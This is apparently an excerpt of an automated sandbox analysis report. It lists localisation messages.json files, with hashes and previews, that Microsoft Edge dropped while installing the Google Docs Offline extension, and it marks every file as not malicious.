k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_46839946\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
